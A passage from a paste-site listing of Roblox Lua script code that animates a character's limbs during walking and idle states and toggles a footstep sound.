  4835. RW.C1 = clerp(RW.C1,CFrame.new(0,0,0),1)
  4836. LW.C1 = clerp(LW.C1,CFrame.new(0,0,0),1)
  4837. end
  4838. end
  4839. elseif Torsovelocity > 2 and hit ~= nil then
  4840. Anim = "Walk"
  4841. if attack == false then
  4842. RootJoint.C0 = clerp(RootJoint.C0, CFrame.new(0, 0+0.12*math.cos(sine/2), 0) * CFrame.Angles(math.rad(-4+2*math.cos(sine/2)), math.rad(0+10*math.cos(sine/4)/2.3)+RootPart.RotVelocity.Y/30, math.rad(0)+RootPart.RotVelocity.Y/30), 0.4)
  4843. Torso.Neck.C0 = clerp(Torso.Neck.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), .3)
  4844. RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5-.05*math.cos(sine/2), math.sin(sine/4)/4) * CFrame.Angles(-math.sin(sine/4)/2.8, -math.sin(sine/4)/3, (math.rad(10+7*math.cos(sine/2))+RootPart.RotVelocity.Y/30)), 0.4)
  4845. RW.C1 = clerp(RW.C1, CFrame.new(0, 0.5, 0)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)), 0.7)
  4846. LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5+.05*math.cos(sine/2), -math.sin(sine/4)/4)*CFrame.Angles(math.sin(sine/4)/2.8, -math.sin(sine/4)/3, (math.rad(-10-7*math.cos(sine/2))+RootPart.RotVelocity.Y/30)), 0.4)
  4847. LW.C1 = clerp(LW.C1, CFrame.new(0, 0.5, 0)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)), 0.7)
  4848. RH.C0 = RH.C0:lerp(CFrame.new(0.5,-1+math.cos(sine/4)*.3,0-math.sin(sine/4)*.1)*CFrame.Angles(math.sin(sine/4)*3*-AngleThetaR.Z,AngleThetaR.X,(math.sin(sine/4)*3*AngleThetaR.X)-RootPart.RotVelocity.Y/20),0.8)
  4849. RH.C1 = RH.C1:lerp(CFrame.new(0, 1, 0),.8)
  4850.  
  4851. --RH.C0 = clerp(RH.C0, CFrame.new(.5, -2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), .3)
  4852. LH.C0 = LH.C0:lerp(CFrame.new(-0.5,-1-math.cos(sine/4)*.3,0+math.sin(sine/4)*.1)*CFrame.Angles(math.sin(sine/4)*3*AngleThetaL.Z,AngleThetaL.X,(math.sin(sine/4)*3*-AngleThetaL.X)-RootPart.RotVelocity.Y/20),0.8)
  4853. LH.C1 = LH.C1:lerp(CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.8)
  4854.  
  4855. --LH.C0 = clerp(LH.C0, CFrame.new(-.5, -2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), .3)
  4856. end
  4857. end
  4858. if Anim == "Walk" then
  4859. stomps.Pitch = 1.1
  4860. if stomps.Playing == false then
  4861. stomps:Play()
  4862. end
  4863. elseif Anim == "Idle" then
  4864. stomps:Stop()
  4865. end
  4866. end
  4867. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement